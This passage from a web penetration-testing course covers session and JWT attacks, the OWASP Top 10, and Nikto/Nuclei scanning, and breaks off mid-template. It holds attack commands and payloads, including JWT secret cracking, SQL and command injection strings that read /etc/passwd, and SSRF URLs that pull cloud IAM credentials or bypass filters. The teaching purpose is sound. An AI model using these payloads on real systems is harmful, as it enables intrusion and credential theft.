The complete defense is session ID regeneration on authentication. After a user successfully authenticates, the server must generate a completely new session ID, set it in a new cookie, and invalidate the old session ID. This breaks fixation attacks because even if the attacker forced a known pre-auth session ID, it becomes invalid the moment authentication succeeds.

Session Prediction

If session IDs are generated with a weak or predictable algorithm, an attacker who captures a series of session IDs can potentially predict future valid ones. This is less common with modern frameworks (which almost universally use CSPRNGs) but appears in custom session management implementations and legacy systems. During an assessment, capture multiple session IDs and analyze them with tools like Burp Suite's Sequencer, which performs statistical randomness testing on a sample of session tokens.

JSON Web Tokens (JWTs) — The Modern Alternative and Its Attack Surface

Many modern applications — especially those built as APIs consumed by JavaScript frontends and mobile apps — use JWT (JSON Web Token) authentication rather than server-side sessions. Understanding JWTs deeply is essential for modern web application testing.

A JWT is a self-contained token that carries claims (assertions) about the user, signed cryptographically so the server can verify they have not been tampered with. JWTs have three parts, each Base64Url-encoded and separated by dots:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
.
eyJzdWIiOiIxMDQyIiwibmFtZSI6IkFsaWNlIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3MjE5OTk2MDAsImV4cCI6MTcyMjAyODQwMH0
.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Enter fullscreen mode Exit fullscreen mode

Decode these three Base64 sections and you get:

Header: {"alg": "HS256", "typ": "JWT"} — The algorithm used for signing and the token type.

Payload: {"sub": "1042", "name": "Alice", "role": "user", "iat": 1721999600, "exp": 1722028400} — The claims: user ID, name, role, issued-at time, expiry time.

Signature: The HMAC-SHA256 of base64url(header).base64url(payload) signed with the server's secret key.

The critical difference between JWTs and server-side sessions: the server does not need to store anything. The token is self-validating — the server just verifies the signature. This makes JWTs stateless in a distributed system sense, which is why they are popular for microservices and APIs.

But this architecture creates specific vulnerabilities.

JWT Vulnerability 1 — The alg:none Attack

Early JWT libraries trusted the algorithm specified in the token's own header. An attacker could modify the header to {"alg": "none"}, remove the signature entirely, and modify the payload (e.g., change "role": "user" to "role": "admin"). The library, seeing alg: none, would skip signature verification and accept the token.

Modern libraries reject alg: none, but it is worth testing on any application using JWTs, especially if the backend seems older or custom-built.

JWT Vulnerability 2 — Algorithm Confusion (RS256 to HS256)

This is a more sophisticated and more commonly found attack. Some applications use RS256 (RSA signing with a private key, verified with a public key). The public key is publicly available — that is the point of asymmetric cryptography.

If the application also accepts HS256 (HMAC signing with a symmetric secret), an attacker can:

  1. Get the server's public RSA key (often exposed at a JWKS endpoint like /auth/.well-known/jwks.json)
  2. Create a malicious JWT with modified claims and "alg": "HS256"
  3. Sign it using the public RSA key as the HMAC secret
  4. When the server processes this JWT, if it uses alg: HS256, it verifies the HMAC signature using what it thinks is the HS256 secret — but the attacker signed with the public key, which the server has. The signature validates correctly.

The attacker has created a valid signature for a token they forged.

JWT Vulnerability 3 — Weak Secret (HS256 Secret Cracking)

HS256-signed JWTs use a symmetric secret. If this secret is weak (common examples include secret, password, the application name, the domain name, a short string), it can be cracked offline:

# Using Hashcat to crack JWT HS256 secret
hashcat -a 0 -m 16500 captured_jwt.txt wordlist.txt

# Using jwt_tool for JWT attacks
python3 jwt_tool.py eyJhbGci... -C -d /usr/share/wordlists/rockyou.txt
Enter fullscreen mode Exit fullscreen mode

Once the secret is known, the attacker can forge arbitrary tokens — changing role, user ID, expiry, or any other claim.

JWT Vulnerability 4 — Sensitive Claims in Payload

The JWT payload is Base64Url-encoded, not encrypted. Anyone who has the token can decode and read every claim in it. This is not a vulnerability by itself — the signature ensures integrity. But developers sometimes include sensitive data in JWT claims: plaintext passwords, access tokens for third-party services, PII. Always decode JWT payloads during an assessment and check what data is exposed.

JWT Testing Tools:

  • jwt.io — online decoder and encoder
  • jwt_tool — comprehensive JWT attack framework
  • Burp Suite JWT Editor extension — built-in JWT manipulation in Burp
  • Burp Suite Scanner — automatically tests for common JWT vulnerabilities

6.1.5 Practice — Attacking and Analyzing Web Sessions

The Session Security Audit Checklist

When assessing a web application's session management, work through this checklist systematically:

1. Cookie Flag Analysis
In Burp Suite, find any Set-Cookie headers in responses. For each session-related cookie:

  • Is HttpOnly present? If not: XSS can steal this cookie
  • Is Secure present? If not: Cookie transmitted over HTTP in cleartext
  • Is SameSite present and configured? If SameSite=None or missing: CSRF risk

2. Session ID Entropy Analysis
Capture 20-50 session IDs from multiple login sessions. Paste them into Burp Suite's Sequencer tool (Proxy → HTTP History → right-click a response setting a session cookie → "Send to Sequencer"). Sequencer performs statistical analysis of the session ID entropy and gives you a confidence rating. Low entropy means the session IDs may be predictable.

3. Session Fixation Test
Log in and note your session ID. Log out. Log back in with the same browser session. Does the session ID change? It must. If the same session ID persists across authentication state changes, session fixation may be possible.

4. Logout Verification
Log in and note your session ID. Log out. Now use Burp Repeater to replay a request with your old session ID. Does the server accept it (vulnerability) or reject it with 401/403 (correct behavior)?

5. Session Timeout Test
Log in. Wait for the configured session timeout period (find this in your pre-engagement documentation or test with various idle periods). After timeout, attempt to use your old session ID. Is it invalidated?

6. JWT Analysis (if applicable)
If the application uses JWTs:

  • Decode the header and payload at jwt.io
  • Check what claims are present and whether any sensitive data is exposed
  • Try changing alg to none and removing the signature
  • Try changing the role or privilege claim and submit with modified payload
  • Use jwt_tool to test for algorithm confusion and weak secrets

6.1.6 OWASP Top 10 — The Map of the Web Application Attack Surface

What OWASP Is and Why the Top 10 Exists

The Open Web Application Security Project (OWASP) is a nonprofit foundation founded in 2001, dedicated to improving software security through community-produced open-source documentation, tools, and research. Everything OWASP produces is freely available to everyone — no paywalls, no licenses, no restrictions.

Their most influential output is the OWASP Top 10: a data-driven, consensus-based list of the ten most critical security risks in web applications. The list is compiled by analyzing data from hundreds of organizations worldwide covering millions of applications, supplemented by a community survey of security professionals. It is updated approximately every three to four years to reflect changes in the threat landscape.

The OWASP Top 10 is not just an academic exercise. It is referenced in regulatory frameworks (PCI DSS requires testing against the OWASP Top 10 for in-scope web applications), contractual requirements (enterprise security assessments specify OWASP coverage), and certifications (CompTIA PenTest+, CEH, OSCP all test knowledge of these categories). If you work in web application security at any level, the OWASP Top 10 is the vocabulary you think and communicate in.

The current official version is OWASP Top 10:2021, which remains the primary reference as of 2025–2026. OWASP published a 2025 Release Candidate with notable category changes; we cover both versions here.

A01:2021 — Broken Access Control

The #1 most prevalent web vulnerability. Found in 3.81% of all tested applications — more than any other category.

Access control is the mechanism that determines what authenticated users are permitted to do. It answers the question: "This user is authenticated — but are they authorized to do THIS specific thing?"

Broken access control means these checks are absent, incomplete, or bypassable. The impact ranges from one user reading another user's data to a regular user gaining administrative control of the entire application.

The core failure: Access control is often enforced only at the UI level. The admin link is hidden from regular users in the navigation menu. The premium feature button is grayed out for free users. But the server-side endpoints behind these UI elements accept any authenticated request — they do not verify whether the authenticated user has the permission level required. Remove the UI restriction, and you have full access to what was supposed to be restricted.

IDOR — Insecure Direct Object Reference:

The most common and most impactful manifestation of broken access control. An application exposes internal object identifiers — database IDs, filenames, record numbers — directly to users, and does not verify that the requesting user is authorized to access the specific object requested.

Classic example: A healthcare portal lets patients view their medical records at /api/records/8812. Patient Alice has ID 8812. She notices the ID in the URL and wonders: what happens if she changes it to 8813? If the server returns another patient's records without checking that Alice is authorized to access record 8813, this is a critical IDOR vulnerability. Patient medical records, financial data, personal information — all exposed to any authenticated user who can enumerate IDs.

The reason IDOR is so prevalent: developers add authentication ("you must be logged in") but forget authorization ("you must own this resource"). These are different controls. Authentication proves who you are. Authorization proves what you are allowed to do.

During penetration testing, IDOR discovery looks like this:

Find any numeric ID in a URL or request parameter — user IDs, order IDs, document IDs, message IDs, invoice IDs. Systematically modify these values: increment, decrement, try neighboring values. Use Burp Suite's Intruder to enumerate a range automatically. If the server returns data for IDs belonging to other users, you have confirmed IDOR. For APIs that use less obvious object references (UUIDs instead of sequential integers), look for leaked IDs in other parts of the application — a UUID might appear in one API response and be reusable as a reference in a different API call.

Forced Browsing — Accessing Hidden Endpoints Directly:

The application's UI does not show the admin panel to regular users. But the admin panel still exists at /admin/dashboard. Does the server check the user's role before serving it?

Testing process: Use directory brute forcing (gobuster, ffuf, dirbuster) to discover endpoints. Then attempt to access them while authenticated as a regular user. Compare what a regular user can access versus what an administrator can access. Any endpoint accessible to the wrong user level is a finding.

# Directory brute force to discover hidden admin paths
gobuster dir -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,aspx,jsp -b 404,403

# More targeted admin path enumeration
ffuf -u https://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt -fc 404 -mc 200,301,302,403
Enter fullscreen mode Exit fullscreen mode

Note that 403 responses during directory brute forcing are high-value findings — they indicate the path exists and requires authorization, making them candidates for access control bypass testing.

HTTP Method Manipulation:

The application correctly blocks GET /admin/users for regular users. But POST /admin/users with a body containing the same parameters? Or PUT /admin/users/1042? Many access control implementations check the method and route together rather than checking the resource and the user's permissions independently. Test every HTTP method against every endpoint.

Parameter Tampering:

Hidden form fields, URL parameters, and JSON body fields sometimes carry role or privilege information that the server trusts without server-side verification. A request body containing {"role": "user", "action": "view_report"} that the attacker changes to {"role": "admin", "action": "view_report"} — does the server accept the user-supplied role? It should not. But many do.

Tools for Automated IDOR Testing:

  • Autorize (Burp Suite extension): Automatically replays every request you make as a higher-privileged user with a lower-privileged user's session, flagging requests where the lower-privileged user receives equivalent access
  • AuthMatrix (Burp Suite extension): Maps out which users should have access to which endpoints and highlights violations

A02:2021 — Cryptographic Failures

Previously called "Sensitive Data Exposure" — renamed to focus on the root cause rather than the symptom.

This category covers every failure to protect sensitive data with appropriate cryptography — when data should be encrypted but is not, when it is encrypted but with algorithms too weak to provide real protection, or when encryption is implemented incorrectly in ways that defeat its security properties.

Passwords stored incorrectly:

Passwords must never be stored as plaintext. This is elementary. But what is the correct alternative?

Many developers know "hash the password" but do not know which hash to use. MD5 is NOT acceptable. SHA-1 is NOT acceptable. SHA-256 without a salt is NOT acceptable. These are fast hashing algorithms — designed to process large amounts of data quickly, which means an attacker with a GPU can compute billions of hashes per second and crack a database of MD5 passwords in hours.

The correct solution is password hashing algorithms specifically designed to be slow and memory-intensive: bcrypt, scrypt, Argon2, or PBKDF2. These are deliberately slow — a bcrypt operation with a work factor of 12 takes approximately 300 milliseconds. That is long enough to frustrate fast brute-force cracking while being imperceptible to users. Argon2id (the 2015 Password Hashing Competition winner) is currently the strongest recommendation.

During a penetration test, discovering a database with MD5-hashed passwords is a critical finding. You can demonstrate impact by cracking several hashes with hashcat against the rockyou.txt wordlist — this typically cracks 30-60% of a real-world password database within minutes.

# Crack MD5 hashes from a database dump
hashcat -m 0 md5_hashes.txt /usr/share/wordlists/rockyou.txt

# Crack bcrypt (much slower even with GPU)
hashcat -m 3200 bcrypt_hashes.txt /usr/share/wordlists/rockyou.txt

# Crack SHA-256 without salt
hashcat -m 1400 sha256_hashes.txt /usr/share/wordlists/rockyou.txt --rules-file /usr/share/hashcat/rules/best64.rule
Enter fullscreen mode Exit fullscreen mode

Transmitting data over HTTP instead of HTTPS:

Any sensitive data sent over plaintext HTTP is readable to any network observer. This includes login credentials, session cookies, API keys, personal information, financial data, and medical records.

Testing this: Visit the application over HTTP (http:// not https://). Does it redirect to HTTPS? Or does it serve the login form over HTTP? Submit the login form and watch in Burp — are credentials transmitted in cleartext? Check whether the Secure flag is missing from session cookies (which means they can be transmitted over HTTP).

TLS version and cipher suite weaknesses:

Even when HTTPS is used, weak TLS configurations create vulnerabilities.

Testing TLS configuration:

# testssl.sh — comprehensive TLS security test
testssl.sh https://target.com

# sslscan — cipher suite enumeration
sslscan target.com

# nmap TLS scripts
nmap --script ssl-enum-ciphers -p 443 target.com

# Online: SSL Labs provides detailed TLS analysis
# https://www.ssllabs.com/ssltest/analyze.html?d=target.com
Enter fullscreen mode Exit fullscreen mode

Look for: TLS 1.0 or 1.1 support (deprecated — vulnerable to BEAST, POODLE), weak cipher suites (RC4, 3DES, export-grade ciphers), expired or self-signed certificates, missing HSTS.

Sensitive data in unexpected places:

Sensitive data appears in places developers do not think to check: JavaScript files (hardcoded API keys, internal endpoint paths, debug credentials), HTML comments (developer notes often contain environment details, passwords, internal system names), error messages (stack traces, SQL queries, file paths), log files accessible via the web, backup files (.bak, .old, .swp, .~, database dump files).

Testing this:

# Search JavaScript files for secrets
# In Burp: Spider the application, review all JS files in the site map
# Tools: trufflehog, gitleaks (for repositories)
# grep for patterns in downloaded JS files:
grep -r "api_key\|apikey\|password\|secret\|token" /path/to/js/files/

# Directory brute force targeting common sensitive file extensions
gobuster dir -u https://target.com -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -x bak,old,sql,env,config,backup,zip,tar,gz
Enter fullscreen mode Exit fullscreen mode

A03:2021 — Injection

The most thoroughly tested category — 94% of tested applications were tested for injection vulnerabilities. Still causes some of the most devastating breaches.

Injection is conceptually simple: user-controlled input is interpreted as code by an interpreter (SQL database, OS shell, LDAP server, XML parser, template engine). The application fails to distinguish between the command structure and the data — user input is part of the command rather than a safely isolated parameter.

This entire category is covered in exhaustive detail in Section 6.4. Here we establish the conceptual foundation:

SQL Injection is the most impactful injection type. A web application builds database queries by concatenating user input:

// VULNERABLE code (PHP example)
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
Enter fullscreen mode Exit fullscreen mode

If an attacker enters admin'-- as the username, the resulting query becomes:

SELECT * FROM users WHERE username='admin'--' AND password='anything'
Enter fullscreen mode Exit fullscreen mode

The -- comments out the rest of the SQL query. The password check disappears. This is authentication bypass — the attacker is logged in as admin without knowing the password.

This vulnerability has ended careers, bankrupted companies, and exposed hundreds of millions of records. And it is trivially preventable: use parameterized queries (prepared statements) that treat user input as data, never as part of the SQL syntax.

OS Command Injection occurs when user input is passed to shell commands:

# VULNERABLE code (Python example)
import os
filename = request.form['filename']
os.system(f"convert {filename} output.pdf")
Enter fullscreen mode Exit fullscreen mode

If the user provides ; cat /etc/passwd as the filename, the command becomes convert ; cat /etc/passwd output.pdf. The shell executes both commands — the conversion and the file read. Impact: arbitrary operating system command execution on the server.

Cross-Site Scripting (XSS) is now classified under Injection because it shares the same root cause: user input is interpreted as code (HTML/JavaScript) rather than data. XSS is important enough that it appears as its own OWASP entry in some discussions and has its own dedicated section in this module (Section 6.7).

A04:2021 — Insecure Design

New in 2021. The only category that cannot be fixed with a patch — it requires redesigning the feature.

Insecure design is different from implementation vulnerabilities. An implementation vulnerability means the code could have been written correctly but was not. Insecure design means the design itself is fundamentally flawed — no matter how well the code implements it, the design creates unacceptable risk.

Examples that illustrate the distinction:

A password reset feature that works by sending a new password in the email is insecure by design. It does not matter how securely the new password is generated, how carefully the email is formatted, how properly the database is updated. The design decision — delivering credentials in email — is the vulnerability. The correct design is sending a time-limited, single-use reset link.

A rate limiting system that only counts failed logins from the same IP address is insecure by design against distributed credential stuffing. An attacker using a botnet of thousands of IPs makes one attempt per IP — each attempt is below the per-IP rate limit, but collectively the attack proceeds unimpeded. A design that considers the velocity of attempts against a specific account, regardless of source IP, is fundamentally more sound.

A ticket booking system that allows unlimited "hold" reservations without completing purchase enables a denial-of-service attack on ticket availability. No implementation detail changes this — it is a design that does not account for abuse.

Identifying insecure design requires security thinking during the design phase — threat modeling, security requirements analysis, and adversarial thinking before code is written. For penetration testers, this means understanding business logic well enough to identify how legitimate features can be abused in ways that are not bugs in the traditional sense.

A05:2021 — Security Misconfiguration

The broadest category — affects every layer of the technology stack, from the web server to the cloud configuration.

Security misconfiguration is any situation where a system is technically capable of being secure but has been deployed in an insecure configuration. This is perhaps the most common finding in real-world web application assessments because it requires neither implementation expertise nor sophisticated attack techniques — often just knowing where to look.

Default credentials: Factory-default usernames and passwords on network devices, database servers, application admin consoles, and management interfaces. Shodan finds millions of devices with default credentials. admin:admin, admin:password, root:root, cisco:cisco — these credentials, which manufacturers set for initial configuration and expect to be changed, are often never changed.

Debug mode and verbose error messages: Every major web framework has a debug mode intended for development that provides detailed error information — stack traces, SQL queries, file paths, configuration values — in HTTP responses. In production, this information is a reconnaissance goldmine for attackers. A single 500 error page in debug mode can reveal the entire technology stack, database schema, internal network addressing, and application architecture.

Unnecessary services enabled: A server configured to run both HTTPS (necessary) and FTP, Telnet, and SNMP (unnecessary legacy services with known vulnerabilities). An application server with SSH enabled on all interfaces. A web server with directory listing enabled, allowing attackers to browse the file structure.

Cloud storage misconfigurations: Public S3 buckets (AWS), public Blob containers (Azure), public GCS buckets (Google Cloud) are the most common and most impactful misconfiguration in cloud environments. An S3 bucket configured for public access exposes every file stored in it to anyone on the internet. Billions of sensitive records have been exposed this way. The names of buckets often follow predictable patterns based on the company name.

# Test for public S3 buckets
aws s3 ls s3://company-name --no-sign-request
aws s3 ls s3://company-backups --no-sign-request
aws s3 ls s3://company-production --no-sign-request

# S3Scanner for systematic bucket enumeration
s3scanner scan --bucket company-name
s3scanner scan --bucket-file probable_bucket_names.txt
Enter fullscreen mode Exit fullscreen mode

Missing HTTP security headers: As enumerated in the HTTP headers section above — missing CSP, X-Frame-Options, HSTS, X-Content-Type-Options. Each missing header enables specific attack classes.

A06:2021 — Vulnerable and Outdated Components

The vulnerability that caused the Equifax breach — 147 million records — and countless others.

Modern web applications are composed largely of third-party components: JavaScript frameworks, npm packages, Python pip packages, Java Maven dependencies, WordPress plugins, Ruby gems, operating system packages. Each component has its own vulnerability history. Running outdated versions means running known vulnerabilities that attackers can exploit with publicly available tools.

The Equifax breach is the defining case study. In May 2017, Apache disclosed CVE-2017-5638 — a critical remote code execution vulnerability in Apache Struts 2. They released a patch on the same day. Equifax's security team was notified. They did not apply the patch. In July 2017, attackers discovered that Equifax had not patched and exploited the vulnerability to access their network. Over 76 days, attackers accessed the personal and financial records of 147.9 million Americans, including Social Security numbers, birth dates, addresses, and driver's license numbers. The vulnerability was disclosed and patched before the breach — the breach happened because the patch was not applied.

During penetration testing, component identification works like this:

Identify component versions from HTTP headers (Server, X-Powered-By), HTML source code (meta tags, JavaScript file names often include version numbers like jquery-3.3.1.min.js), directory structures (default paths for specific CMS versions), and response behavior.

# WhatWeb - technology identification
whatweb https://target.com -v

# Wappalyzer CLI
wappalyzer https://target.com

# Identify WordPress version
curl -s https://target.com/wp-includes/version.php
curl -s "https://target.com/feed/" | grep "generator"

# Check JavaScript libraries in page source for version numbers
curl -s https://target.com | grep -i "jquery\|bootstrap\|angular\|react\|vue" | head -20

# Cross-reference identified versions against CVE database
searchsploit wordpress 5.7
searchsploit apache tomcat 9.0.37
nuclei -u https://target.com -tags cve -severity critical,high
Enter fullscreen mode Exit fullscreen mode

A07:2021 — Identification and Authentication Failures

The entire category of "how the application knows who you are and how that can go wrong."

Authentication is proving who you are. Identification is claiming who you are. Failures in these processes allow attackers to impersonate legitimate users or escalate their own privileges.

This category is the subject of Section 6.5 in its entirety. Here we map the key failure modes:

Credential brute force and stuffing: Applications that do not rate limit login attempts allow attackers to try thousands of passwords programmatically. Even with rate limiting, if no account lockout is implemented after N failures, a slow brute force with reasonable pauses remains viable. Credential stuffing — testing username/password pairs leaked in previous breaches against a new application — exploits password reuse, which research shows affects 65% of users.

Weak password policies: Allowing passwords like "password", "123456", or the username itself. Not checking new passwords against known-breached password lists.

Insecure password reset: A reset token that is too short (4-6 digit numeric codes susceptible to brute force), too long-lived (tokens that do not expire allow replay attacks), or sent via an insecure channel.

Session management failures: As discussed in 6.1.4 — predictable session IDs, missing regeneration after authentication, no server-side invalidation on logout.

Missing or bypassable MFA: Applications with no second factor, or with second factors that can be bypassed (e.g., the MFA check occurs client-side in JavaScript, or the MFA verification endpoint is accessible after the first factor without requiring the second).

A08:2021 — Software and Data Integrity Failures

The category that includes insecure deserialization and supply chain attacks.

This category covers any failure to verify the integrity of software, data, or update processes. The escalating frequency of supply chain attacks makes this category increasingly important.

Insecure deserialization is the most technically complex vulnerability class in this category. Serialization converts an in-memory object to a format (byte stream, JSON, XML) for transmission or storage. Deserialization reverses this — reconstructing the object from the serialized form. Insecure deserialization occurs when applications deserialize data from untrusted sources without validation.

The attack works by exploiting how the deserialization library reconstructs objects. In Java, many libraries invoke methods (particularly readObject()) during deserialization. If the class library path contains classes with dangerous readObject() methods — called "gadget chains" — an attacker who can provide serialized input can trigger arbitrary code execution simply by causing the dangerous method to be called during deserialization.

Indicators of Java serialization in HTTP traffic:

# In request body or cookie values, look for:
Content-Type: application/x-java-serialized-object
# Or Base64 values starting with: rO0A (decodes to: ac ed 00 05 - Java serialized object magic bytes)
Enter fullscreen mode Exit fullscreen mode

Tool for generating Java deserialization exploit payloads: ysoserial — generates malicious serialized objects that execute specified commands when deserialized by vulnerable libraries.

Supply chain attacks: The SolarWinds attack (2020) and the XZ Utils backdoor (2024) demonstrated that even organizations with strong perimeter security can be compromised through their trusted software supply chain. For web application testing, this manifests as evaluating whether the application uses third-party dependencies that could introduce malicious code.

A09:2021 — Security Logging and Monitoring Failures

The category that determines whether a breach is detected in hours or months.

The average time between a breach occurring and being detected, according to IBM's 2024 Cost of a Data Breach Report, is 194 days. That is six and a half months of undetected attacker activity. The gap between breach and detection is where logging and monitoring failures live.

This category is unique among the OWASP Top 10: it does not describe a direct vulnerability that attackers exploit. It describes the failure to detect that attacks are happening. Without logging, a penetration test that compromises an application leaves no trace the security team can investigate.

What must be logged:

  • Authentication events: every login attempt (successful and failed), every password change, every MFA event
  • Access control failures: every 403 response (someone tried to access something they are not authorized for)
  • Input validation failures: every rejected input that might indicate injection testing
  • High-risk operations: administrative actions, privilege changes, data exports
  • Session lifecycle: session creation, session expiry, logout

Common logging failures:

  • Not logging at all ("we'll add logging later")
  • Logging to the same filesystem that an attacker might compromise (an attacker who compromises a server can delete local logs)
  • No centralized aggregation (each server keeps its own logs, making correlation across the environment impossible)
  • No alerting (logs collected but never reviewed in real time)
  • Excessive logging that creates too much noise to find signals

For penetration testers: Testing monitoring is typically done by conducting obvious attack activity (automated scanner traffic, brute force attempts, obviously malformed input) and asking the client whether any alerts fired. A complete penetration test that generates no security alerts despite conducting active exploitation is itself a critical finding about the organization's detection capability.

A10:2021 — Server-Side Request Forgery (SSRF)

New to the OWASP Top 10 in 2021. Critically important in cloud environments.

SSRF occurs when an application fetches a remote resource based on user-controlled input without validating whether that URL is safe to request. The result is that the server makes requests on the attacker's behalf — to internal services, to cloud metadata endpoints, or to other resources the attacker cannot reach directly.

Imagine an application with a "preview this link" feature — you provide a URL and the application fetches it and shows you a preview. The application server makes an HTTP request to whatever URL you provide. If you provide http://169.254.169.254/latest/meta-data/iam/security-credentials/ — the AWS Instance Metadata Service address — and the application is running on an AWS EC2 instance, the server fetches this internal URL and returns the IAM credentials of the instance's IAM role.

Cloud infrastructure metadata services are the most impactful SSRF targets:

  • AWS: http://169.254.169.254/latest/meta-data/ — returns IAM credentials, instance details, user data scripts
  • Azure: http://169.254.169.254/metadata/instance?api-version=2021-02-01 with Metadata: true header
  • GCP: http://metadata.google.internal/computeMetadata/v1/ with Metadata-Flavor: Google header

Successful SSRF against a cloud metadata endpoint returns IAM credentials that can be used to make AWS/Azure/GCP API calls with the instance's permissions — potentially accessing S3 buckets, databases, secrets manager, and other cloud resources far beyond the application itself.

Finding SSRF entry points:

Any feature that makes outbound HTTP requests based on user input is an SSRF candidate:

  • Link preview / URL metadata fetching
  • Webhook configuration (user provides a URL that receives events)
  • Document/PDF generation from a URL
  • "Import from URL" features
  • Image proxying
  • Server-side OAuth flows
  • XML parsers (XXE can trigger SSRF through external entity declarations)
  • PDF generators processing CSS url() references

Testing for SSRF:

Use Burp Suite's Collaborator (or interactsh for an open-source alternative) to generate a unique callback URL. Submit this URL to any suspected SSRF entry point. If your Collaborator receives an HTTP or DNS request from the target application's IP range, you have confirmed the application makes outbound requests — which is SSRF.

Then escalate to internal targets:

http://127.0.0.1/admin
http://localhost:8080/
http://169.254.169.254/
http://192.168.1.1/
http://10.0.0.1/
Enter fullscreen mode Exit fullscreen mode

Bypass attempts when IP-based filtering is in place:

# Decimal encoding of 127.0.0.1
http://2130706433/

# Octal encoding
http://0177.0.0.1/

# Hex encoding
http://0x7f000001/

# IPv6 loopback
http://[::1]/

# DNS rebinding: a domain that resolves to 127.0.0.1
http://localtest.me/

# URL-encoded components
http://127.0.0.1%2f@attacker.com/
Enter fullscreen mode Exit fullscreen mode

The OWASP Top 10:2025 — What Is Changing and Why It Matters

OWASP's 2025 Release Candidate reflects the evolving threat landscape. Key changes:

A01:2025 — Broken Access Control remains the most prevalent category at #1. Significantly: SSRF has been absorbed into this category rather than standing alone, reflecting the understanding that SSRF is fundamentally an access control failure — the application makes requests it should not be permitted to make.

A02:2025 — Security Misconfiguration jumped from #5 to #2. As applications become more configuration-driven (containers, infrastructure-as-code, cloud services), misconfiguration has overtaken many implementation-level vulnerabilities in frequency.

A03:2025 — Software Supply Chain Failures expands the previous "Vulnerable and Outdated Components" to encompass the full scope of supply chain risk — compromised build pipelines (SolarWinds-style attacks), malicious package injection (PyPI/npm poisoning), and transitive dependency vulnerabilities.

Injection dropped from #3 to #5. Better static analysis tooling and developer education have made classic injection vulnerabilities somewhat less prevalent — though they remain critically impactful when found.

New entries and considerations for 2025: Race conditions and Time-of-Check to Time-of-Use (TOCTOU) vulnerabilities are gaining attention. Web cache poisoning is increasingly significant. AI-specific vulnerabilities (prompt injection in LLM-integrated applications, model manipulation) are being discussed for explicit inclusion.


6.1.7 Lab — Website Vulnerability Scanning

Understanding What Automated Scanners Do and Do Not Catch

Before running any scanner, internalize this: automated vulnerability scanners catch approximately 30-40% of vulnerabilities in a real web application. They excel at pattern matching — finding known vulnerable library versions, common misconfigurations, obvious injection points, and security header absences. They fail completely at business logic flaws, subtle access control issues, multi-step attack chains, and vulnerabilities unique to the specific application's implementation.

Automated scanning is the first step, not the final answer. It identifies the low-hanging fruit and provides a coverage baseline so your manual testing can focus on the harder, higher-value issues.

Nikto — Web Server Configuration Scanner

Nikto performs over 6,700 checks against web servers: dangerous files, outdated software, enabled unnecessary HTTP methods, security header issues, default installations, and known vulnerabilities.

# Basic scan
nikto -h http://target.com
nikto -h https://target.com

# Scan with SSL
nikto -h https://target.com -ssl

# Save output in multiple formats
nikto -h http://target.com -o nikto_results.html -Format htm
nikto -h http://target.com -o nikto_results.txt -Format txt
nikto -h http://target.com -o nikto_results.xml -Format xml

# Scan a specific port
nikto -h http://target.com -p 8080

# Scan through Burp Suite proxy (capture Nikto's requests for review)
nikto -h http://target.com -useproxy http://127.0.0.1:8080

# Disable DNS resolution (faster)
nikto -h http://target.com -nodns

# Tune to specific test categories:
# 0: File Upload, 1: Interesting File/Seen in logs, 2: Misconfiguration
# 3: Information Disclosure, 4: Injection (XSS/Script/HTML), 5: Remote File Retrieval
# 6: Denial of Service, 7: Remote File Retrieval (Server Wide), 8: Command Execution
# 9: SQL Injection, a: Authentication Bypass, b: Software Identification
nikto -h http://target.com -Tuning 4,9    # XSS and SQLi tests only
Enter fullscreen mode Exit fullscreen mode

Interpreting Key Nikto Findings:

"The anti-clickjacking X-Frame-Options header is not present" → The page can be embedded in an iframe. Clickjacking is possible. Medium finding, higher impact if the page contains sensitive actions.

"The X-Content-Type-Options header is not set" → Browser MIME-type sniffing possible. Low-medium finding.

"Cookie session_id created without the httponly flag" → XSS can steal this cookie. Critical if this is the primary session cookie.

"Cookie session_id created without the secure flag" → Cookie sent over HTTP. High finding.

"Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, PUT, DELETE, TRACE" → DELETE and TRACE enabled are findings. PUT enabled may allow file upload to the server root.

"Server leaks inodes via ETags, inode: XXXX, size: XXXX, mtime: XXXX" → Information disclosure through ETag headers. Low finding.

"Default account found for 'admin': admin:admin" → Default credentials confirmed. Critical finding.

"OSVDB-XXXX: /phpMyAdmin/: phpMyAdmin directory found" → Database admin interface exposed. Critical finding — attempt default credentials and check for authentication bypass.

"Retrieved x-powered-by header: PHP/7.4.3" → PHP version disclosure. Cross-reference against PHP CVE database for this specific version.

Nuclei — Template-Based Vulnerability Scanner

Nuclei uses YAML templates — each template defines a specific test. The template library is community-maintained and grows rapidly, with new templates appearing within hours of major CVE disclosures.

# Update template library (run this before every engagement)
nuclei -update-templates

# Basic scan with default templates
nuclei -u https://target.com

# Scan with specific severity levels
nuclei -u https://target.com -severity critical
nuclei -u https://target.com -severity critical,high

# Scan by tag categories
nuclei -u https://target.com -tags cve           # All CVE checks
nuclei -u https://target.com -tags exposure      # Exposed sensitive files/data
nuclei -u https://target.com -tags misconfig     # Misconfigurations
nuclei -u https://target.com -tags default-login # Default credentials
nuclei -u https://target.com -tags xss           # XSS checks
nuclei -u https://target.com -tags sqli          # SQL injection checks
nuclei -u https://target.com -tags ssrf          # SSRF checks
nuclei -u https://target.com -tags lfi           # Local file inclusion

# Scan for a specific CVE
nuclei -u https://target.com -id CVE-2021-44228    # Log4Shell
nuclei -u https://target.com -id CVE-2021-26855   # ProxyLogon (Exchange)
nuclei -u https://target.com -id CVE-2022-22965   # Spring4Shell

# Scan a list of targets
nuclei -list targets.txt -severity critical,high

# Output to file
nuclei -u https://target.com -o nuclei_findings.txt
nuclei -u https://target.com -o nuclei_findings.json -json

# Run against all URLs discovered in a web spider
katana -u https://target.com -o urls.txt
nuclei -list urls.txt -tags xss,sqli,ssrf

# Concurrent scanning with rate limiting (be careful with production targets)
nuclei -u https://target.com -rate-limit 50 -concurrency 25
Enter fullscreen mode Exit fullscreen mode

Understanding Nuclei Template Structure (Read One to Understand All):

id: CVE-2021-44228-log4j-rce    # Unique identifier

info:
  name: Apache Log4j RCE (Log4Shell)
  author: pdteam
  severity: critical
  description: |
    Apache Log4j2 allows JNDI lookups to remote LDAP servers, enabling 
    remote code execution.
